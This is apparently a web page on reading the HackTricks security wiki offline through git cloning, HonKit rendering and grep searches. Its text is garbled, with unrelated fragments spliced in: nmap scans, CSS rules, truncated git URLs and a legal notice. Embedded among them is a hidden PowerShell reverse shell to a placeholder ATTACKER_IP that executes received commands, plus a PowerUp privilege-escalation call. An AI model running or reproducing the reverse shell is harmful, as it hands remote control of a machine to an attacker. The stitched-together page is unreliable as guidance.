HackTricks is a community-driven, living encyclopedia of offensive security techniques, tricks, and tips, hosted on GitHub. It serves as a practical playbook for real-world security assessments, covering:
nmap -sn 192.168.1.0/24 # Ping sweep nmap -sL 192.168.1.0/24 # List scan</code></pre>
Once downloaded, you have an organized directory structure of raw Markdown files. You can read them directly from the terminal or use a dedicated Markdown viewer for a cleaner user interface:
<h3>PowerShell (Windows)</h3> <pre><code>powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%0;while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0);$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 ;$client.Close()"</code></pre>
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
The resulting PDF will be massive and ugly due to missing images if not done carefully. The official GitBook PDF export is superior here.
If you want a flattened HTML version of the live site without dealing with Git repositories, you can mirror it using standard web scraping tools.
This is the most fundamental and flexible method. It gives you the raw, un-rendered Markdown files that can be read on any system. Many security experts use this method to integrate HackTricks into their own note-taking systems or search workflows.
To find every mention of a specific privilege escalation vector (e.g., "AlwaysInstallElevated") across the entire library, run: grep -rni "AlwaysInstallElevated" ./hacktricks/ Use code with caution. For a much faster, modern alternative, use ripgrep ( rg ): rg -i "AlwaysInstallElevated" ./hacktricks/ Use code with caution.
Respect Carlos’s work. This guide is for personal lab use and exam prep only.
.sidebar width: 280px; background: #0d1117; height: 100vh; position: sticky; top: 0; overflow-y: auto; border-right: 1px solid #30363d; padding: 20px 0;
Since HackTricks is primarily a GitBook-based wiki, "reading it offline" usually involves either converting the online content into a local format (like PDF or EPUB) or cloning the repository to run a local instance.
If you prefer the original visual layout, sidebar navigation, and dark mode of the live website, you can host the Markdown files locally using Node.js and HonKit (the community-driven fork of the original GitBook CLI). Step 1: Install Node.js and NPM
<div class="warning"> ⚠️ <strong>Legal Notice:</strong> This cheatsheet is for authorized security testing and educational purposes only. Always get written permission before testing any system. </div> </div>
# Clone the standard HackTricks repository git clone https://github.com # Clone the HackTricks Cloud repository git clone https://github.com Use code with caution. 3. Read via Markdown Editors (Fastest Method)
Use the built-in Markdown Preview tool ( Ctrl + Shift + V ). Typora: A clean, distraction-free markdown reader. Method 2: Compiling to HTML Using GitBook CLI or HonKit